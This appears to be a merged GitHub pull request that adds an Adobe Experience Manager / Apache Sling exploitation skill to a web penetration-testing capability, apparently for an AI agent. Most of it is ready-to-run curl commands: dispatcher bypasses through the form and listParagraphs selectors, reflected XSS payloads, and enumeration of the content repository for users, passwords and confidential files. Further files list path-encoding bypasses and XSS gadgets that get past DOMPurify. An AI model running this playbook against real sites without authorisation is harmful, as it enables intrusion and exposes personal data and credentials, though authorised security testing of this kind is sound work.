Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 8 additions & 4 deletions capabilities/web-security/capability.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,10 @@ version: "1.0.3"
description: >
Web application penetration testing with 30+ attack technique playbooks
covering request smuggling, cache poisoning, SSRF, SSTI, DOM
vulnerabilities, authentication bypasses, parser differentials, and
client-side attacks. Includes HTTP client tooling, Caido proxy
integration via MCP, credential management, DNS rebinding, phone
verification, and vulnerability verification.
vulnerabilities, authentication bypasses, parser differentials,
AEM/Sling exploitation, and client-side attacks. Includes HTTP client
tooling, Caido proxy integration via MCP, credential management, DNS
rebinding, phone verification, and vulnerability verification.

mcp:
servers:
Expand Down Expand Up @@ -122,3 +122,7 @@ keywords:
- dns-rebinding
- dom-security
- phone-verification
- aem
- adobe-experience-manager
- sling
- dispatcher-bypass
200 changes: 200 additions & 0 deletions capabilities/web-security/skills/aem-sling-exploitation/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,200 @@
---
name: aem-sling-exploitation
description: Adobe Experience Manager (AEM) and Apache Sling exploitation — Sling selector abuse, dispatcher bypass chains, JCR enumeration, QueryBuilder exploitation, XSS gadgets, and sensitive data mining. Use when AEM detected (granite login, /etc.clientlibs, /content paths, Sling headers) or when testing Adobe CMS targets.
---

AEM security testing via Sling resource resolution abuse. Complements `hopgoblin` (CVE scanner) with manual exploitation methodology derived from 600+ AEM CVE research.

## 1. Fingerprint and version detect

```bash
# Granite login page (confirms AEM)
curl -sk "https://TARGET/libs/granite/core/content/login.html"

# System console (author instance, often blocked)
curl -sk "https://TARGET/system/console"

# ClientLibs — dotted = modern proxy, slashed = legacy (suggests /etc open for reads)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc.clientlibs/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/etc/clientlibs/"

# Version detection via listParagraphs + About page (bypasses dispatcher)
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1"

# CSRF token endpoint (confirms Granite auth framework)
curl -sk "https://TARGET/libs/granite/csrf/token.json"

# Current user identity (unauthenticated = anonymous)
curl -sk "https://TARGET/libs/granite/security/currentuser.json"

# User info endpoint
curl -sk "https://TARGET/libs/cq/security/userinfo.json"
```

**Deployment:** AMS (self-hosted, full attack surface) vs Cloud Service (locked down, no write-to-executable paths).

## 2. Sling URL anatomy

```
scheme://host/path/resource.selector1.selector2.extension/suffix?query
^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^
resource sel 1 sel 2 extension suffix
```

**Resolution order:**
1. Java servlet registered with exact path
2. Java servlet by `sling:resourceType`, selector, primary type, or extension
3. `sling:resourceType` pointing to JSP/HTL in `/apps`
4. Same lookup falling through to `/libs`
5. `DefaultGETServlet` as catch-all (enables `.infinity.json` for recursive dumps)

**Key insight:** Dispatcher matches raw path; Sling resolves selectors/suffixes server-side. This mismatch enables all dispatcher bypasses. POST → SlingPostServlet (node creation), DELETE → node removal (AMS write-path exploitation).

## 3. Core selector exploits

### rawcontent (reflected XSS, patched APSB22-40)

Registered on CQ Page with `.html` extension. Original purpose: strip JS/CSS for content export. Used unsafe HTML serializer that re-emitted sanitized HTML escapes as raw HTML.

```bash
# Stored XSS — if author-controllable content exists
curl -sk "https://TARGET/content/site/page.rawcontent.html"

# Reflected XSS via 404 page (path reflected as raw HTML)
curl -sk "https://TARGET/content/nonexistent%3Cimg%20src=x%20onerror=alert(1)%3E.rawcontent.html"

# Chain with savedsearch for 400 error reflection when 404 is patched
curl -sk "https://TARGET/content/nonexistent.savedsearch.rawcontent.html"
```

**Status:** Patched by swapping `htmlwriter` to `html5-serializer`. Test on unpatched AMS instances.

### listParagraphs (CVE-2022-42348 XSS, APSB22-59)

Accepts `itemResourceType` query param to re-render against arbitrary resource type. Bypasses dispatcher because Sling resolves `/libs` JSPs internally. (Note: CVE-2022-42351 in the same bulletin is an open redirect, not XSS.)

```bash
# Reach QueryBuilder via /libs JSP
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=/"

# Reflected XSS via path param in queries-by-result JSP
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&limit=1&path=<img+src=x+onerror=alert(document.domain)>"

# Version fingerprint via About page
curl -sk "https://TARGET/content/dam.listParagraphs.html?itemResourceType=/libs/granite/ui/components/shell/help/about/about.jsp&limit=1"
```

### form (CVE-2024-26029)

Registered on `sling/servlet/default` with no extension restriction — matches every JCR node. Internally forwards the suffix as the new path.

```bash
# Bypass dispatcher block on /bin/querybuilder.json
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json?path=/&p.limit=10"
curl -sk "https://TARGET/content/dam.form.js/bin/querybuilder.json?path=/&p.limit=10"
curl -sk "https://TARGET/content/dam.form.html/bin/querybuilder.json?path=/&p.limit=10"

# Chain form + listParagraphs (double dispatcher bypass)
curl -sk "https://TARGET/content/site/page.form.js/content/site/page.listParagraphs.html?itemResourceType=/libs/cq/statistics/components/queries-by-result/html.jsp&path=/"
```

## 4. JCR enumeration and data mining

Once QueryBuilder or JSON selectors are reachable:

```bash
# Shallow enumeration (avoids 10K node limit)
curl -sk "https://TARGET/.1.json"
curl -sk "https://TARGET/content.1.json"
curl -sk "https://TARGET/content/dam.1.json"

# Deeper enumeration
curl -sk "https://TARGET/content/dam.2.json"
curl -sk "https://TARGET/content/dam.3.json"

# Full recursive dump (use with caution — can be large)
curl -sk "https://TARGET/content/dam.infinity.json"

# QueryBuilder: enumerate users
curl -sk "https://TARGET/bin/querybuilder.json?path=/home/users&p.limit=-1&type=rep:User"

# QueryBuilder: search for sensitive content
curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=password&p.limit=10"
curl -sk "https://TARGET/bin/querybuilder.json?path=/content&fulltext=confidential&p.limit=10"

# DAM assets (often contain PII: spreadsheets, internal docs)
curl -sk "https://TARGET/bin/querybuilder.json?path=/content/dam&type=dam:Asset&p.limit=50"

# Package listing (deployment artifacts, may contain source)
curl -sk "https://TARGET/etc/packages.json"
curl -sk "https://TARGET/crx/packmgr/list.jsp"
```

**Sensitive data locations:** Employee lists with SSNs, plaintext credentials, IP inventories, architecture docs, and "strictly confidential" documents regularly found under `/content` and `/content/dam`.

## 5. Default permissions footgun

The anonymous user belongs to the `everyone` group by default. Every "open to all users" JCR ACL also applies to unauthenticated visitors. Test:

```bash
# Check anonymous access to /libs, /apps, /etc
for path in /libs /apps /etc /content /home; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET${path}.1.json")
echo "$path → $code"
done
```

## 6. Dispatcher bypass patterns

See [dispatcher-bypass-patterns.md](dispatcher-bypass-patterns.md) for extension confusion, selector stacking, path encoding, and semicolon path parameter techniques.

## 7. Custom selector discovery

AEM customers register custom selectors via `@SlingServlet` annotations. These are unaudited attack surface.

```bash
# If /etc/packages is readable, download and grep for servlet registrations
curl -sk "https://TARGET/crx/packmgr/list.jsp" | grep -o '"name":"[^"]*"'

# After obtaining packages, search for:
# @SlingServlet annotations, resourceTypes registrations, selector bindings
grep -rn "@SlingServlet\|sling:resourceType\|sling:selector" extracted_package/

# Brute-force common selectors on content paths
for sel in rawcontent listParagraphs form savedsearch feed json xml model tidy; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/content/dam.${sel}.html")
echo "$sel → $code"
done
```

## 8. AEM-specific XSS gadgets

See [xss-gadgets.md](xss-gadgets.md) for moment.js format injection, jQuery `.text()` entity re-decoding (post-DOMPurify bypass), and `javascript:` URI property population techniques.

## 9. Methodology phases

**Phase 1 — Fingerprint:** Granite login, clientlibs version, currentuser.json, version via listParagraphs+About page. Determine AMS vs Cloud Service.

**Phase 2 — Primitive testing:** rawcontent+savedsearch on non-existent paths, listParagraphs with itemResourceType, form selector suffix forwarding to /bin/querybuilder.json.

**Phase 3 — Data mining:** Once QueryBuilder is reachable, walk JCR with `.1.json` selectors. Drill into internal folders. Search for spreadsheets, credentials, architecture docs, "do not publish" drafts.

**Phase 4 — Custom selectors:** Grab /etc/packages if readable. Grep for SlingServlet annotations and resourceType registrations. Each custom selector is fresh attack surface.

**Phase 5 — Chain for impact:** Dispatcher bypass alone is not a finding. Chain: form bypass → QueryBuilder → user enumeration → PII exposure. Or: listParagraphs → /libs JSP → reflected XSS.

## 10. Defense assessment

**What fails:** Dispatcher rules (path-based, miss selectors/suffixes), WAF blocks (encoding bypasses).

**What works:** JCR-level ACLs (deny anonymous on /libs, /etc, /home, internal /content paths). AEM upgrades that remove vulnerable selectors at the servlet level.

**Key check:** If dispatcher blocks are the only defense, they can be bypassed. If JCR ACLs are in place, selector abuse hits 403 at the Sling layer — game over.

## Chain With
- `apache-confusion-attacks` (if Apache httpd fronts AEM dispatcher)
- `403-bypass` (dispatcher returns 403, try header/path manipulation)
- `dom-vulnerability-detection` (for AEM-specific XSS gadgets in client JS)
- `parser-differential-bypass` (dispatcher vs Sling parsing differences)
- `write-path-to-rce` (if file write is achievable on AMS instances)
- **hopgoblin** (external tool) — automated AEM CVE scanner, run first for known vulns
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Dispatcher Bypass Patterns

When direct paths are blocked, use selector/suffix manipulation:

```bash
# Extension confusion
curl -sk "https://TARGET/bin/querybuilder.json" # blocked
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json" # bypass via form suffix

# Selector stacking
curl -sk "https://TARGET/content/page.listParagraphs.html" # blocked
curl -sk "https://TARGET/content/page.form.js/content/page.listParagraphs.html" # form → listParagraphs

# Path encoding
curl -sk "https://TARGET/content/dam.form.css/bin/querybuilder.json"
curl -sk "https://TARGET/content/dam.form.css/%62in/querybuilder.json"

# Semicolon path parameters (Sling ignores, dispatcher may not parse)
curl -sk "https://TARGET/bin/querybuilder.json;.css"
curl -sk "https://TARGET/bin/querybuilder.json;x=.ico"
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# AEM-Specific XSS Gadgets

### moment.js format injection
If user input controls `moment().format()` argument and output hits innerHTML:
```javascript
moment().format("[<img src=x onerror=alert(document.domain)>]")
// Square brackets = literal output in moment.js format strings
```

### jQuery .text() entity re-decoding
Post-DOMPurify bypass chain:
```javascript
// Vulnerable pattern:
const clean = DOMPurify.sanitize(value); // entities pass through
const $el = $('<div>' + clean + '</div>'); // browser decodes entities
const text = $el.text(); // reads decoded text
el.innerHTML = text; // re-parses as HTML → XSS

// Payload: &lt;img src=x onerror=alert(document.domain)&gt;
// DOMPurify sees entities (safe) → browser decodes → .text() reads raw tags → innerHTML executes
```

### javascript: URI property population
```javascript
let u = new URL("javascript://example.com:443/path?key=val#frag%0aalert(document.domain)");
// u.hostname === "example.com" (passes allowlist checks)
// u.pathname === "/path" (passes path validation)
// u.port === "443" (passes port checks)
// After javascript: scheme is stripped, // starts a JS single-line comment. %0a newline ends it. Code after executes.
```
Loading
Loading